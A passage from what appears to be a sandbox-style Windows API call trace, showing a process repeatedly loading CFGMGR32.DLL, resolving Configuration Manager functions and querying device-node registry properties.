(hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.362] malloc (_Size=0x18) returned 0x20abc2819e0 [0231.362] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1b, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0231.362] malloc (_Size=0x48) returned 0x20abc27cb20 [0231.362] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x45a9cede, dwHighDateTime=0x1d9eb0c)) [0231.363] SetEvent (hEvent=0x248) returned 1 [0231.367] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.367] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.367] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.368] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.370] malloc (_Size=0x18) returned 0x20abc281c20 [0231.371] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0231.371] malloc (_Size=0x48) returned 0x20abc27cb20 [0231.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45ac315c, dwHighDateTime=0x1d9eb0c)) [0231.371] SetEvent (hEvent=0x248) returned 1 [0231.377] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.377] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.377] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.378] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.379] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.379] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.379] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.379] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.379] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.379] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.381] malloc (_Size=0x18) returned 0x20abc281b00 [0231.381] CM_Get_Device_IDA (in: dnDevInst=0x1c, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0A06\\GPE0_RESOURCES") returned 0x0 [0231.381] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x45ae9842, dwHighDateTime=0x1d9eb0c)) [0231.381] SetEvent (hEvent=0x248) returned 1 [0231.386] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.386] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.386] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.387] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.388] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.389] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.389] malloc (_Size=0x18) returned 0x20abc281a80 [0231.390] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0231.390] malloc (_Size=0x5a) returned 0x20abc2807d0 [0231.390] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0231.391] free (_Block=0x20abc2807d0) [0231.391] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x45ae9842, dwHighDateTime=0x1d9eb0c)) [0231.391] SetEvent (hEvent=0x248) returned 1 [0231.445] malloc (_Size=0x18) returned 0x20abc281b60 [0231.445] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0231.445] free (_Block=0x20abc281b60) [0231.445] malloc (_Size=0x18) returned 0x20abc281b80 [0231.445] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0231.445] free (_Block=0x20abc281b80) [0231.445] malloc (_Size=0x18) returned 0x20abc281c20 [0231.445] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba79b58) returned 0x0 [0231.445] free (_Block=0x20abc281c20) [0231.445] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0231.445] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0231.445] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0231.445] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0231.446] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c40 [0231.446] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0231.446] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0231.446] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0231.446] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0231.446] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93730, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0231.446] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93738, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0231.447] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93740, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0231.447] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c40) returned 1 [0231.448] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0231.448] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.448] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.449] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.450] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.452] malloc (_Size=0x18) returned 0x20abc2820a0 [0231.452] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0231.452] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x45b81e80, dwHighDateTime=0x1d9eb0c)) [0231.453] SetEvent (hEvent=0x248) returned 1 [0231.456] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.456] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.456] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.457] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.546] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.547] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.548] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.549] malloc (_Size=0x18) returned 0x20abc281b00 [0231.549] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.553] malloc (_Size=0x48) returned 0x20abc2aba40 [0231.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45c8ccab, dwHighDateTime=0x1d9eb0c)) [0231.553] SetEvent (hEvent=0x248) returned 1 [0231.557] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.557] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.557] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.558] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.559] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.560] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.560] malloc (_Size=0x18) returned 0x20abc281b20 [0231.561] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.561] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45c8ccab, dwHighDateTime=0x1d9eb0c)) [0231.561] SetEvent (hEvent=0x248) returned 1 [0231.565] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.565] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.565] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.566] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.567] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.568] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.568] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.568] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.568] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.568] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.568] malloc (_Size=0x18) returned 0x20abc281e00 [0231.569] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1c, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.569] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45cb3010, dwHighDateTime=0x1d9eb0c)) [0231.570] SetEvent (hEvent=0x248) returned 1 